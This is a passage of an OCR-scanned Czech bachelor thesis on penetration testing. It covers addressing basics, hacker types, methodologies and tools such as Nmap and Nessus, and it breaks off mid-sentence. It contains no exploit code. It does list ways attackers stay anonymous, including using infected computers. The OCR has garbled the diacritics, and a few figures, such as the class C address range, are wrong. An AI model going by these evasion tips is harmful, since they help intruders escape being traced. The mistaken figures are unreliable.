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White hacking

Abstrakt

Tato bakalaiska prace se zabyva penetracnim testovanim siti. V teoretické ¢asti jsou
popsany vSechny dtlezit¢ pojmy s nim souvisejicimi, a nasledné¢ rozebrany jednotlivé
metodiky penetra¢niho testovani. Také je zde vybran vhodny operacni systém, ktery pomiize
pii tomto testovani.

V praktické casti se bakalarskd prace zabyva stanovenim metodiky, ndvodem, jak
spravné pii testovani postupovat, na co je dulezité se zaméfit a dat si pozor. Nasledné je tato
metodika aplikovana na konkrétnich piikladech pro lep$i porozumeéni. Pfi aplikovani
metodiky jsou vybrany vhodné nastroje, které v jednotlivych fazich pomohou pfi testovani. V

posledni ¢asti, prace upozoriiuje na objevena rizika, kteréd se pfi testovani vyskytla.

Kli¢ova slova: hacking, penetraéni testovani, bezpeénost, Kali Linux, metodika, firemni sit, rizika,

nastroje pro testovani



White hacking

Abstract

This bachelor thesis deals with a network penetration testing. In the theoretical part all
important terms are described as well as individual methods of the penetration testing.
Eventually, the most suitable operating system for the penetration testing is selected.

The practical part of the bachelor thesis deals with determination of methodology and
establishing a procedure of the penetration testing with an emphasis on important steps. This
methodology is then applied to concrete examples for better understanding. During
application of the methodology, appropriate tools that are useful at each stage are selected.

The warning about discovered risks are presented in the last part.

Keywords: hacking, penetration testing, cyber security, Kali Linux, methodology, network,

risks, testing tools
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1 Uvod

Dle nazoru autora si lidé si zvykli na to, Ze se skoro vSechna diilezita a velmi citliva data
sdili pomoci pocitacové sité. Bézny uzivatel kazdodenné provadi tolik aktivit, které by ho
teoreticky mohly ohrozit, a ani si to neuvédomuje. At jiz zadavani svych piihlasovacich udaju
na néjaky svlj profil nebo ptihlasovani do bankovnictvi. Rovnéz provadéni plateb pies
internet, kde musi zadavat své informace ke kreditni karté. A mnoho dalSich citlivych
informaci. Pfesto vétSina véti, Ze se tyto informace nemohou k nikomu dostat, a proto mohou
dale bezpec¢né nakupovat.

Firmy a firemni sité uz nemohou jen doufat, Ze se nic nestane. Pii piipadném napadeni
by vznikly obrovské ztraty a problémy. Rovnéz se vytvaii daleko vice zranitelnych mist. Je to
z diivodu, Ze sit’ nevyuziva jen jeden ¢lovek, ale x lidi. Bézi na ni nékolik servert, je otevieno
mnoho protokolil a vyuzivdno mnoho sluzeb. Kvili tomu se firmy musi snazit zabezpecit co
nejvice moznych hrozeb, které existuji.

Firmy mohou aplikovat rizna zabezpeceni a mohou si myslet, ze jsou chranéné a zadné
hrozby jim nehrozi. Ale dokud si neuvédomi, jak uto¢nici mysli, jak postupuji a jaké nastroje
pfi Gtoku pouzivaji, nikdy nebudou schopné dostate¢né zabezpecit svou sit” [3].

A zde pfichazi na fadu termin White hacking. Je to firmou najata odborna osoba,
specializujici se na pocitacovou bezpecnost, kterd vyuziva penetracni testovani k otestovani
bezpecnosti.

Penetracni testovani zahrnuje simulaci redlnych Utoki na sit, které se snaZi posoudit
potenciondlni bezpe¢nostni nedostatky. To je nezbytnou soucasti z ditvodu, aby byla vase sit’
zabezpecena. Penetracni tester se nesnazi pouze objevit mozné zranitelnosti, které by utocnik
mohl vyuzit. Ma za kol také zjistit, jaké vSechny mozné poskozeni a informace by utocnik
mohl provést a ziskat poté, co se mu podaii vyuzit n¢jaké zranitelnosti a do sité proniknout

[1].
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2 Cil prace a metodika
2.1 Cil prace

Cilem bakalarské prace je vytvofit metodiku testovani zabezpeceni serveru pomoci
penetracniho testovani. Dil¢imi cili jsou:
e analyza rizik pro vybranou modelovou situaci
e analyza dostupnych néstrojui pro penetraéni testovani

e provedeni verifikace navrzené metodiky
2.2 Metodika

Metodika prace je zalozena na studiu odborné a védecké literatury. Bude provedena
analyza rizik pro vybrané nasazeni internetového serveru. Dale pak zhodnoceni dostupnych
nastrojil a jejich relevance pro dané testovani bezpecnosti. Na zdkladé dil¢ich poznatki bude

vyvozen zaver a specifikovany zplisoby moznosti napadeni serveru.
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3 Teoreticka vychodiska

3.1 IP adresa

Jedna se o unikatni Cislo, které jednoznac¢né dokaze identifikovat zafizeni v pocitacové
siti. Nejznaméjsi je protokol IPv4, ktery pouziva 32bitid. Je rozdélen na Ctyii ¢asti pomoci
tecky, kazdé této casti obsahujici 8 bith se fika oktet. Kazda cast je v rozsahu 0 az 255.
Z nedostatku IPv4 adres se postupné prechazi na protokol IPv6, pro ktery je adresa 128bitova
[19].

IP adresy jsou rozdéleny do péti riznych tiid oznaceny pismeny: A, B, C, D, E. Kazda
tato téida jde vzdy identifikovat pomoci prvniho oktetu. Hlavnimi tfidami jsou A, B, C. Tiidu
A maji hlavné nadnéarodni spole¢nosti a vladni organizace. Tfida B, C je jiZ vice dostupna a
setkame se s timto rozsahem i u nas v CR. Tfida D slouzi pro Multicasting, ktery neposila
data pouze konkrétnimu hostu, ale né€kolika najednou, napiiklad pro hromadné vysilani videa.
Ttida E je vyhrazena pouze pro experimentalni a vyzkumné tcely [28].

Tabulka 1: T¥idy IP adres

Ttida Hlavni bity | Biti sit€¢ | Bitl stanice | Prvni adresa Posledni adresa
A 0 8 24 0.0.0.0 127.255.255.255
B 10 16 16 128.0.0.0 191.255.255.255
C 110 24 8 192.0.0.0 233.255.255.255
D 1110 X X 224.0.0.0 239.255.255.255
E 1111 X X 240.0.0.0 255.255.255.255

https://www.geeksforgeeks.org/introduction-of-classful-ip-addressing/

Hlavni bity v prvnim oktetu jsou vZdy neménné. Tedy kdyZ v prvni tfidé médme hlavni
bit 0, znamena to, Ze prvni oktet je v rozsahu 0.0.0.0.0.0.0.0 do 0.1.1.1.1.1.1.1. Po pievodu do
desitkové soustavy je to pak od 0 do 127 jak je vidét v tabulce. Ve tfidé¢ B je to pak od
10000000 do 10111111 [29].

Jednoduse 1ze vypocitat, kolik, jaka tfida dovoluje adresovat siti, jednad se o vzorec:
2/\(Biti sité — pocet hlavnich bitt). Tedy u vzorce A je to 2°(8-1), tfida A nam dovoluje
adresovat pouze 128 siti a z toho dvé jsou jesté vyhrazené. Pojem vyhrazené IP adresy bude
rozebran v dal$im odstavci. Tfida A nam umoznuje realné adresovat 126 siti. U tfidy B je to
jiz 16 tisic siti. Mnozstvi po€itact v siti se vypocita jako: 2”bitil stanice-2. Vzdy od¢itame dvé
IP adresy, protoze prvni IP adresa je Cislo sit¢ a posledni IP adresa je rezervovana pro

Broadcast. Ttida A ma tedy velikost pro 16 777 214 hostl. Tiida B pro 65534 [28].
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Ttida A, B, C ma v sob¢ IP adresy, které ma rezervované jako privatni IP adresy. Tyto
adresy jsou vyuzivany v domacnostech, ve firemnich sitich. Privatni IP adresy se nemohou
nachazet na vefejném internetu. Jednd se o tyto adresy: 10.0.0.0/8, 172.16.0.0/12 a
192.168.0.0/16. V domacnostech nejcastéji najdeme IP adresy zacinajici na 192.168. Tento
rozsah IP adres nabizi 65 536 dostupnych IP adres. Oproti tomu rozsah adres 10.0.0.0/8 nabizi
az 16 777 216 adres [30].

Mezi dalsi vyhrazené IP adresy patii i vSechny adresy zaCinajici na 127.0.0.x. Tyto
adresy slouzi pro loopback, coz je logickd smycka, kterd umoziuje posilat pakety sdm sob¢

[31].

3.2 Mac Adresa

Mg¢la by byt jedine¢nym identifikdtorem kazdého sitového rozhrani. Sitovému zafizeni
je jeho MAC adresa pfidé€lena hned potom, co je vyrobeno. MAC adresa je Cislo, které ma 48
bith. Zapisuje se jako Sestice dvojcifernych hexadecimalnich cisel oddélenych dvojteckou
nebo i pomlckou [8].

Piiklady MAC adresy: cc-46-d6-b1-c0-8e, cc:46:d6:b1:c0:8¢, 000.a83.b1c.08¢. Prvni
zpusob zéapisu je mozné vidét v operacnim systému Microsoft Windows. Druhy zplsob
pouzivaji operacni systémy s Linuxem a posledni zptisob zapisu je pouzivan v Cisco Systems.
Prvnich Sest ¢islic MAC adresy zprava slouzi k identifikaci vyrobcll. Toto 24bitové Cislo je
nazyvano jako OUI (Organizationally Unique Identifier). Kazdy vyrobce ma své
zaregistrovana Cisla, podle kterych je mozné ho identifikovat. Naptiklad jedno z ¢isel Cisca
je: CC:46:D6. Zbylych Sest Cisel jiz reprezentuje konkrétni zafizeni vyrobené vyrobcem [32].

Jak jiz bylo fe€eno, pouziva se k identifikaci zatizeni. D4 se tedy naptiklad pouZit i tak,
7e administratofi nastavi v routeru pouze povolené MAC adresy, které se sméji ptipojit do
mistni sité, a jiné zafizeni s jinou adresou se nebudou moci ptipojit. MAC adresa se nedostane
na internet, protoze se pii prichodu zafizenim méni v druhé vrstvé modelu ISO/OSI (linkova

vrstva). Tedy je dostupna pouze v mistni siti. [9].

3.3 Proti komu stojime

Pojem hacker ve vétSing€ lidi vyvola negativni ohlas. Diky médiim se obecné vniméni
zménilo z neSkodnych osob na Skodlivého zlo¢ince. Kdykoliv se jedna o kyberneticky utok, je

automaticky prezentovano, ze za tim stoji hackefi.
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Tato uvaha je Spatnd, nelze kazdého hackera prohlasit za zloCince. Existuji taci, ktefi

nikomu neskodi, ba naopak dokonce mohou pomahat [3].
3.3.1 Hacker

Jsou to lidé velmi zkuSeni a nadani ve svych dovednostech. Radi zkoumaji nové
zpiisoby. Casto vidi i to, co ostatni piehlizi, a dokaZi to vyuzit ve svilj prospéch. Radi
ptekonavaji prekazky. Nic pro n€ neni nemozné.

Zastavaji nasledujici pravidla:

1) Drzi se toho, Ze je spravné a uzitecné sdilet své zkuSenosti, poznamky a zplisoby
ostatnim.

2) Véti, ze dokud nedochdzi ke kradezi a zvetejiiovani informaci a nijak cil neposkodi,
napadeni systému z divodu zlepSovani svych dovednosti ¢i zdbavy je eticky v pofadku a
nikoho neposkozuji. PfestoZe to délaji bez povoleni majitele. Takovym hackerim se fikd Grey
Hat Hackers.

Ti, kteti vyuzivaji své dovednosti pro ochranu systému a zlepSeni zabezpeceni,

nazyvame White Hat hackers [6].

3.3.1.1 Crackers

Jak jiz z druhého nazvu vyplyva, Crackers neboli také Black Hat Hackers, spadaji pod
hackery. Ale jejich zaméry jsou zcela odlisné. Nepracuji pro zajmy spolec¢nosti, ale naopak se
ji snazi poskodit. Jejich cilem je nabourani firemni sit€ a pocitact k ziskani osobnich ziski.
Jde jim o cokoliv, ukrast informace ke kreditnim kartdm nebo ukrast 1 znicit dllezZité soubory.
Zde se jiz jedna o nelegalni aktivitu [7].

Jejich dovednosti jsou na vysoké Urovni. DokaZi si naprogramovat své vlastni programy
a skripty, které vyuZzivaji k hackovani. Umi také vytvofit malware, aby zakryli své stopy po
napadeni systému [3].

Spadaji sem i podkategorie jako je naptiklad script kiddies — jednd se o pocitacové
novacky. Nemaji dostatek dovednosti ani znalosti na provedeni velké $kody. Cerpaji
z informaci na internetu a riznych navodu. Vyuzivaji ve sviij prospéch jiz vytvorené nastroje,
programy pro prunik do systému od zkuSenych hackert. VétSinou za sebou zanechavaji

spousty ruznych otiski, které je pomohou vystopovat, protoze je neumi smazat.
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3.4 Anonymita

Kazdy lepsi uto¢nik se bude snazit byt co nejvice anonymni. Je to z logického diivodu,
aby uto¢niky nebylo tak lehké dohledat. A kdyz uz se jim podati proniknout do systému obéti,
jde jim o to, aby po sob¢ zanechali co nejméné stop, aby nezvySovali riziko odhaleni a sviij
ziskany ptistup do systému mohli pouzit i v budoucnu [3].

Pro svoji anonymitu mohou pouzivat néktery z téchto zpisobi:
3.4.1 Volba spravného operacniho systému

Windows je zndm chybami a ,,dirami®, které neustale opravuje svymi updaty. Jenze
kazdy z téchto nedostatkii mlze byt vyuzit proti ndm a jakékoliv snaha ziistat anonymni je
zbytecna. Skoro nikdo z hackerti by nepouzival pro sviij hlavni utok Windows. Nejvice jsou k
témto ucelim pouzivana zafizeni, ktera v sobé maji néktery operacni systém z Linux
distribuce. Pro Linux navic existuje daleko vice nastroji, které hacketi pii hackovani
vyuzivaji. Umoziuje rozsitenéj$i a snadné&jsi skriptovani a je vice dostupny co se tyce

piizptsobeni si systému podle svého. [11].
3.4.2 Vyuzivani VPN

Pomoci sluzby VPN — virtual private network — nepfistupujeme na internet z nasi sit€ a
snizime tak o sobé pocet informaci, které by Sly dohledat. VPN funguje na principu, Ze nase
data zaSifruje a odeSle tunelem piimo na VPN server. Zde jsou data odSifrovana a odeslana na
cilovy server. Odpovéd’ od serveru jde opét nejdiive k VPN serveru, ktery data zaSifruje, a
posle k nam. Diky tomu cilovy server nevidi nasi IP adresu, ale adresu VPN serveru [12].

Samoziejmé naSe data a vSechny informace o nas jsou dostupné na stran¢ VPN serveru.
Proto je nutné vyuzivat ovéfeného poskytovatele VPN sluzeb, o kterém si pfedtim néco
zjistime. Napftiklad si zjistit kde spolec¢nost sidli a jaké zédkony musi dodrzovat. Zda ji je
zédkonem natizeno, aby uchovavala nebo hlésila ziskané udaje. Piikladem jsou spolec¢nosti
sidlici ve Svycarsku, na které se nevztahuji zakony USA ani EU. Pouze pouZitim této sluzby
ale nikdy neni zarucena naprostd anonymita. Daji se omezit rizika odhaleni, ale nikdy neni

zarucené, ze tato sluzba nakonec nepomuze pii odhaleni crackera [33].
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The Onion Router je prohlize¢, ktery zaSifruje vase data do paketd a odebere data, ktera
by vas mohla identifikovat, jako je datum, ¢as a cil. Nasledné¢ data nahodné rozesle ptes
nékolik serverd. Pies ¢im vice serverii data projdou, tim je méné mozné vysledovat
odesilatele. Samoziejmé to ma i zapory, hlavné v tom, Ze se znatelné zpomaluje rychlost

prenosu dat od odesilatele k cili a zpé&t [13].
3.4.4 Ostatni zpiisoby

Zvysit svou anonymitu jde take:
e pouzivanim anonymnich emaild.
e vyuzivanim nakazenych pocitact
e pfipojovanim se na vetejnou wifi ¢i vyuzivani vetejnych pocitact v knihovné, Skole,

hotelu atd [3].

3.5 Zvoleni vhodné distribuce pro testovani — Kali Linux

Nelze ptimo fici, Ze vSichni pouzivaji ten a ten operacni systém pro penetracni testovani.
Ale od svého vzniku az do nyné&jsi doby roku 2020 je velmi pouzivana linuxova distribuce
pod nazvem Kali Linux.

Je to z toho diivodu, zZe je pfipravena a zaméfena na penetracni testovani. Na nic jiného
ani pro bézné uzivani neni doporucovana. Fakt, Ze je navrZena pro penetra¢ni testovani

vvvvvv

Diky tomu je nemusime sloZzit¢ doinstalovat a udrzovat zavislosti mezi knihovnami a balicky

[14].
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Distribuce Kali Linux je zaloZena na distribuci Debian. Zacala kratce po roce 2012, kdy
bylo rozhodnuto, Ze nahradi v té dobé pouzivanou distribuci pro testovani pod jménem
BlackTrack Linux. Skute¢nost, Ze se bude vychazet z distribuce Debian, byla rozhodnuta na
zéklad¢ jeho vlastnosti. Je znam svou kvalitou, stabilitou a Sirokym vybérem dostupného

softwaru [5].

3.6 Predinstalované nastroje

Po nacteni systému hned v horni levé list€¢ vidime okno s ndzvem: Applications. Po jeho
otevieni se objevi n€kolik podslozek. Kazda slozka je pojmenovana podle svého ucelu a
k ¢emu nastroje, které jsou uvnitt slozek, slouzi.

Jednotlivé néstroje jsou popsany v praktické ¢asti bakalaiské prace.
3.6.1 Sbirani informaci

Jednd se o nastroje, které umoznuji shromazdovat data o cilové siti, identifikovat
pocitace, nalézt jejich operacni systém a zjistit, jaké sluzby na nich bézi. Také umi nalézt

potencionalni citlivé informace [5].

Obrazek 2 Predinstalované nastroje v Kali Linux

https://dev.to/ankitdobhal/kali-linux-your-hacking-system-part-1-1dge
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3.7 Typy penetracnich testi

Podle autora knihy Matuse Seleckého: Penetracni testy a exploitace rozdélujeme typy
penetracnich testil na tii kategorie.

Prvni kategorie se zaméfuje na rozdéleni testi podle jejich provedeni. Tedy zda jsou
manualni, automatizované nebo semiautomatické.

Druha kategorie rozliSuje testy podle znalosti cile na Black-box testy, White-box testy a
Grey-box testy.

Posledni kategorie rozliSuje, zda je utok na sit’ provadén externé nebo interné [4].
3.7.1 Podle provedeni

3.7.1.1 Manualni testy

Jak jméno testu napovidd, jedna se o manudlni testovani, které¢ dokazi dobte udélat pouze
velmi kvalifikovani a zkuseni lidé se znalostmi souvisejicimi s testovacim subjektem (C++,
PHP, Python, SQL, HTML, JavaScript). Je to proto, ze si musi sami testy napsat podle situace
a zranitelnosti. Z toho plynou nevyhody a to, Ze tento zptsob testu je velmi pomaly a ¢asove
naro¢ny proces. Také je velmi obtizné nové testery vycvicit, protoZze zde neni zadny piesny
postup [15].

Hlavnimi vyhodami je zde piimy kontakt s ¢lovékem. Ten si dokadze pfizpusobit a
vytvofit testy na miru pro konkrétni testované prostiedi a dokédze presné popsat co, jak a pro¢

testuje, a vytvofit k tomu srozumitelny reporting [4].

3.7.1.2 Automatizované testy

Automatické néstroje jsou mnohem efektivnéj$i nezZ manualni testy. Jsou vytvofeny od
profesionalii. Je mnohem jednodussi pochopit, jak funguji aplikace pro testovani nez pochopit
cely princip a postup manualniho testovani. Diky tomu je tento zptisob daleko rychlejsi, méné
naro¢ny na znalosti. Proto mohou byt tyto nastroje vyuzivany 1 juniory nebo studenty
Nevyhodou je, Ze bez manudlniho testovani nemame piehledné vysledky a pro porozuméni

vysledkl je potfeba mit znalosti o pouzité aplikaci a testované oblasti [15].
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3.7.1.3 Semiautomatické testy

Jedna se o spojeni dvou piedchozich zplisob manualnich a automatizovanych za ucelem
ziskat co nejvic vyhod z obou dvou piedchozich testi. Nikdy vSak nelze prohlasit, ze né&jaky

zpiisob odhali viechna zranitelna mista. Zadny zptisob nepokryje 100 % kodu [4].
3.7.2 Podle znalosti

3.7.2.1 Black-box testy

Tento zplsob je bran z pohledu, kdy testujici nema zadné nebo pouze omezené znalosti 0
testovacim cili. Zné tedy pouze vstupy a potenciondlni vystupy z aplikace. Vnitini strukturu
sité, aplikaci, systémt a politiky jiz nezni. Tento zplsob simuluje realisticky utok.
Nevyhodou zde je, ze nékteré véci nemusi byt otestovany, protoze na né jednoduSe nezbyde
Cas [16].

Za jednu z hlavnich vyhod se povazuje fakt, ze firmy nemusi poskytovat citliva data,

jako jsou zdrojové kody, které si firmy mohou chtit drzet v tajnosti [4].

3.7.2.2 White-box testy

Tento zpusob testovani je pfesny opak Black-box testu. Tedy tester ma k dispozici
vSechny dokumenty a potebné znalosti testovaného cile. Zna vSechny IP adresy, pocet vSech
piitomnych zafizeni, architekturu a typ sité, operacni systémy, zdrojové kody atd [17].

Za vyhodu se da povazovat, ze timto zpisobem ziskame daleko ditkladné;si test, ktery by
Vv idealnim piipad€ mél dosdhnout do vSech Casti aplikace a odhalit potenciondlni zranitelna

mista v podstatné krat$i dobé [16].

3.7.2.3 Grey-box testy

Tento zpisob testovani lze opét povazovat za spojeni dvou piedchozich test, tedy
Black-box testu a White-box testu, za ucelem ziskani nejlepSich vyhod z obou zplsobi.
Tester dostane pouze né€které informace o cili jako URL, IP adresy, ale neda se to pfirovnat ke
kompletnim informacim. Nema t€z neomezeny piistup. Pti testovani aplikace probihaji testy

z hlediska uzivatele a v pfipad¢ bezpecnostnich testl jako potencionalni utocnik [4].
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3.7.3 Podle umisténi

3.7.3.1 Externi penetracni testy

Tyto testy pfedstavuji a simuluji atok zvenéi, tedy z internetu. Jejich cilem je ziskat

pristup do sité, ¢i ziskat citlivé informace o firmé a poskodit ji [18].
3.7.3.2 Interni penetracni testy

Tento typ testu je provadén uvniti sité. Ma simulovat situaci, kdy se jiz uto¢nikovi
povede prolomit ochranu Spatné zabezpeceného systému a dostane se do firemni sité. Druhy
zpisob je, Ze se do vnitini sit¢ dostane fyzicky. Cilem tohoto testu je ovéfit a zjistit, jaké

Skody dokaze z vnitini sité napachat [4].
3.8 Metodika penetracniho testovani

Testovani samo o sob& neni jednoduché. Je potieba jista davka samostatnosti. Neexistuje
jediny a piesny postup, jak najit chybu. Ale zpasob pfistupu k testovani by mél byt vzdy
stejny a jasn¢ uréen. K tomu nam slouzi metodika, kterd testovani rozdéli do nékolika
kategorii a v kazdé kategorii je jasné popsano a urceno, jaky ma cil.

Metodik pro penetracni testovani je k dispozici nékolik. Jsou rozdilné, ale vychazeji ze
zékladni struktury, kterou maji vSechny stejnou. Jednotlivé kategorie penetracniho testovani

se pohybuji od 4 do 7 krok [4].
3.8.1 Druhy metodik

3.8.1.1 OWASP

Open Web Application Security Project je neziskova organizace, ktera si dala za cil
zvySeni bezpe¢nosti webovych aplikaci. Nejednd se o kompletni metodiku pro penetracni
testovani, jak jiz z nazvu vypovida, je zaméfena pro testovani zabezpeceni webovych aplikaci.

Tato metodologie funguje s ptistupem Black-Box testovani. Vychazi z toho, Ze
testujici nevi nic nebo ma jen malo informaci. Test je rozdélen do dvou fazi. Pasivni, kde se
tester snazi porozumét logice aplikace. K tomu miize pouzit nastroje jako http Proxy K
pozorovani vSech http pozadavkl a odpovédi. Na konci by mél védét o vSech piistupovych

bodech. Aktivni je rozdé€lena do dalSich 9 kategorii. Kazda kategorie ma pfesny postup
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testovani i prehled zranitelnosti. VSe je dostupné zdarma v navodu: OWASP Testing Guide
v3 [23].

OWASP ma pod sebou mnoho projekt i diky tomu, ze mé svoji komunitu velmi
aktivni. V8e je pravidelné aktualizovano a vznika mnoho dal$ich projekti [22].

Jednim z nejzajimavéejsi mize byt OWASP Top 10. Coz je vlastné seznam deseti
nejkritictéjSich zranitelnosti webovych aplikaci. Posledni zvetejnény je OWASP Top 10—
2017 [25].

3.8.1.2 Information Systems Security Assessment Framework - ISSAF

ISSAF je dalsi z metodik pro penetracni testovani sité, systémt a aplikaci. Je rozdélen do
tii fazi Planovani a pfiprava, Analyza, Zprava. Analyza, se jeSt¢ rozdcluje do dalSich 9
kategorii. Tento zpusob obsahuje jasny a pochopitelny postup pii testovani. EXistuje
dokument, ve kterém je vSe dopodrobna vysvétleno: Information Systems Security

Assessment Framework [26].

3.9 Priibéh externiho penetracniho testovani

Faze jsou rozdéleny podle metodiky, kterou pouziva autor Matis Selecky ve své knize
Penetracni testy a exploatace (2012). Autor zde neuvedl, z jaké metodiky vychazel, pouze
napsal, cituji: “Pro ucely této knihy byla zvolena a upravena metodika, kterd zahrnuje celkove

ctyri kroky.
3.9.1 Faze 1 - Cil a rozsah penetracnich testi

Dtlezité je si uvédomit, Ze pii testovani se snazime nalézt zranitelnd mista a pfi
prolomeni zabezpeceni se muzeme dostat k tajnym nebo osobnim informacim vlastnika
systému. Proto je nezbytné si predem vytvoftit specificky plan, ve kterém je potieba promyslet

nekteré kroky [4].

3.9.1.1 Tvorba planu

Plan by mél obsahovat, jaky typ testu chceme pouzit: Black, White nebo Grey box test,
vytycit kritické body k dosaZeni cile a zvolit vhodné nastroje, které k tomu budeme vyuzivat.

Nelze ovéfit vSe na 100 %. Napiiklad dostaneme pozadavek na ovéfeni bezpecnosti
jedné konkrétni aplikace. Pokud je zadani takto obecné, neda se z ného nic konkrétniho urcit.

Je dulezité si ukol rozdélit do jednotlivych cili:
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ovétit zabezpeceni piihlaseni do této aplikace

prozkoumat bezpecnost transakci uzivatele

- otestovat, jak jsou zabezpecena osobni data a kdo k nim ma ptistup

- zkontrolovat stabilitu aplikace.

Existuje mnoho oblasti, které¢ se daji testovat, a proto je potieba si jasné stanovit, co se
od nas ocekava [4].

Také si musime urcit, jaké systémy budeme testovat. Zda pravé budeme ovéfovat jen
jednu aplikaci, jako v ptipad¢ predeSlého odstavce, nebo vice systému. V piipad¢ testovani
vice systémd, je dobré si rozdélit plany do jednotlivych ¢ésti a stanovit priority. Rozdéleni
muze probihat naptiklad podle téchto kritérii:

e ktery systém je nejvice kriticky

e jaky systém by zpiisobil nejvétsi poskozeni podniku, pokud by doslo k uspésnému

napadent

o urcit systémy, které se jevi jako nejjednodussi k napadeni.

Utoky mohou byt provadény na tato zafizeni, systémy a aplikace: Routery a switche,
firewally, webové aplikace, bezdratové ptistupové body, databaze, emaily, servery s daty,
mobilni telefony, kamery.

Velmi dilezité je presné stanovit jednotlivé ¢asové udalosti. To znamena, kdy a jaka faze
testovani bude v urcitém dni probihat a kdy koncit. Nacasovani zkoordinovat se senior
zaméstnanci, ktefi systém spravuji. Je s nimi nutné rovnéz dohodnout, jaké ¢asti systému
testovat miZeme a jaké nemame povolené — jedna se o Ctyfi moznosti: 1. penetracni testovani
sité, 2. penetracni testovani webovych aplikaci, 3. penetracni testovani bezdratovych siti a 4.
simulovany phishing [20].

V neposledni fadé je tfeba se ujistit, Ze nedojde k poruseni trestniho zakoniku 40/2009
Sb. Cast druha, Hlava V, § 230: Neopravnény piistup k pocitatovému systému a nosici
informaci [21].

Stanoveny plan je potieba konzultovat se zastupci spolecnosti, kteti zodpovidaji za vase
najmuti k otestovani systému. Vysvétlit jim vas plan testovani, nechat si jej pisemné schvalit a

predejit tak moznym pravnim komplikacim [4].
3.9.2 Faze 2 — Sbér dat

Druha faze ma jasny ukol. Dozvédét se o naSich klientech — cili co mozna nejvice

informaci. Nelze pfesné stanovit, co se mize hodit a co ne. Cim vice informaci, tim lepsi
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moznosti do budoucna. Za informace povazujeme jména a informace vlastnikli, nadzev firmy,
ruzné prezdivky zaméstnancli na internetu, jaky software jejich servery pouzivaji, jaké porty

maji oteviené, IP adresy [1].

3.9.2.1 Prohledavani internetu

Jak jiz bylo zminéno, socidlni sit¢ jsou nebezpe¢nym zdrojem informaci pro firmy.
Zamgéstnanci radi prozrazuji informace o tom, co v praci dé€laji, pofizuji fotografie, které
nasledné sdileji apod., aniz by si uvédomovali riziko. Nikdy nelze fici, zda Gto¢nik néco
nalezne nebo ne, ale minimalné se to vyplati zkusit.

Prohledani internetu s klicovymi slovy nebo prozkoumani webovych stranek cilové
organizace muze také nalézt n¢které dulezité informace: jména zaméstnancii, dulezita data,
¢lanky, patenty [3].

Google prohlize¢ dokonce umoznuje jesté detailn€jsi vyhledavani, staci napsat do
vyhledavace urcita kli¢ova slova nebo operatory, naptiklad:

e site:www.adresa.com — Vyfiltruje nam pouze vysledky pro tuto adresu.
e Kklicové slovo filetype:pdf — Vyfiltruje pouze klicové slovo, které je ulozeno jako
PDF.
Existuje mnoho zplsobd, jak si vyhleddvani v Google prohliZeci zjednodusit a dosahnout

uzite¢nych vysledkl. Na internetu je mnoho navodi [27].

3.9.2.2 WHOIS

Da se povaZovat za Uplny zaklad na zaCatek. Je to vlastné webova databaze, ktera
uchovéva zakladni informace o vlastnicich, ktefi si zaregistrovali doménu (telefon, adresu, IP
adresu, e-mail, datum registrace, datum expirace a dalsi spfiznéné informace) [1].

Moznost pouziti WHOIS Ize bud’ pomoci webovych stranek, naptiklad: who.is, nebo v

Linuxu v pfikazové fadce pomoci WHOIS [4].
3.9.2.3 Dalsi uzite¢né néstroje

Nslookup je nastroj, ktery slouzi pro testovani DNS serverii a ptevede lidsky cCitelnou
URL adresu na IP adresu. Ping ndm umoziuje ovéfit, zda existuje spojeni s cilovym prvkem
na siti, a zda jsme s nim schopni komunikovat. Traceroute je aplikace, kterd nabizi

prehlednéjsi vysledky a detailnéjsi nastaveni nez ping [4].
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3.9.2.4 Nmap

Jedna se o komplexni a rozsifeny nastroj, ktery zna kazdy sitovy administrator.
Umoznuje jak sbirani informaci, tak je to nastroj pro sitovou analyzu. Podporuje nastaveni
mnoha parametri. Umi oskenovat jeden server a zjistit jaké porty pouzivd. Umi oskenovat
uréeny rozsah IP adres a nalézt hosty. K tomu Ize pouzit riizné zptisoby: ping, ACK, SYN atd.
Je mozné oskenovat pouze konkrétni porty, zvolit zrychleny zptisob skenovani [2].

Jedna ze silnych stranek tohoto nastroje je moznost vytvofit si své vlastni skripty, které
nam pomohou zefektivnit a zrychlit praci. Naptiklad usnadnéni od neustile se opakujici
prace. Pouzitim skripti od tfeti strany vznikd velké riziko nebezpe¢i a nedoporucuje se
pouzivat skripty od lidi, ktefi nejsou divéryhodni. Pro skriptovani se pouziva jazyk Lua [4].

Nmap pro uzivatele vytvoril grafické prostiedi zvané Zenmap. Kali Linux ho jiz ma
predinstalovany a lze ho nalézt pod kategorii information gathering / network scanners /
Zenmap. Poté, co je graficky specifikovano vSe, co mé nastroj provést, prevede volbu do
ptikazového fadku. Tak je moZzné naucit se zkratky, které Nmap pouziva [2].

Nmap je velmi rozsahly néstroj a neni Zadouci popsat a vysvétlit vSechny jeho vlastnosti.

V druhé poloving této bakalaiské prace bude jesté vyuzit v praktické casti.
3.9.3 Faze 3 — Skenovani a exploitace

Pti fazi exploitace vyuzZijeme vSech objevenych zranitelnosti. Vysledkem exploitace by
mohlo byt prolomeni bezpe€nostnich mechanismii a ziskani pfistupu do systému nebo
databaze bez ptihlaSovacich udaji, zjisténi citlivych informaci nebo zneptistupnéni sluzeb [4].

Nikdy nelze fici, Ze internetovy produkt je na 100 % zabezpecen. To, ze nebyl prolomen,
jen znamena, ze zatim nebyl nalezen zpusob. To se ale mlZe ¢asem zménit. Proto je neustale
nutné vSe aktualizovat. Pro tuto fazi je moZné pouZzit mnoho nastrojii a neni mozné vSechny

popsat [4].
3.9.3.1 Nessus

Jednd se o velmi roz$ifeny nastroj, ktery umoznuje velky poc¢et moznosti a nastaveni. Na
internetu opét existuje mnoho navodi a Vv této pasazi nebude popisovano do detailti, co a jak
nastavit. K tomu bude prostor v praktické ¢asti.

Nessus slouzi jako vzdaleny skener, ktery ndm otestuje nas cil a poskytne informace o
testovaném systému. Obsahuje velmi rozsdhlou databazi, kterd zahrnuje rGzné zranitelnosti

protokolt a platforem. Tento skener potom provadi série kontrol k detekovani znamych
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zranitelnosti. Také ndm dokéaze odhalit jaké servery a operacni systémy nas cil pouziva a
mnoho dalSiho. Nasledné se daji vysledky setadit od nejvétsi hrozby po nejmensi. U kazdé
hrozby je popisek, o jakou hrozbu se jednd a jak se tyto hrozby daji vyuzit pro napadeni
systemu [1].

V Linuxu muZzeme pouzit v piikazové fadce nastroj Nikto2, ktery nam dokaze podat

informace o cili — jaké verze pouziva, zda je n¢kterd zastarald a podobné.

3.9.3.2 Metasploit Framework

Jedna se o opensourcovy projekt. Poskytuje moznost pouzit exploity (kéd, ktery vyuziva
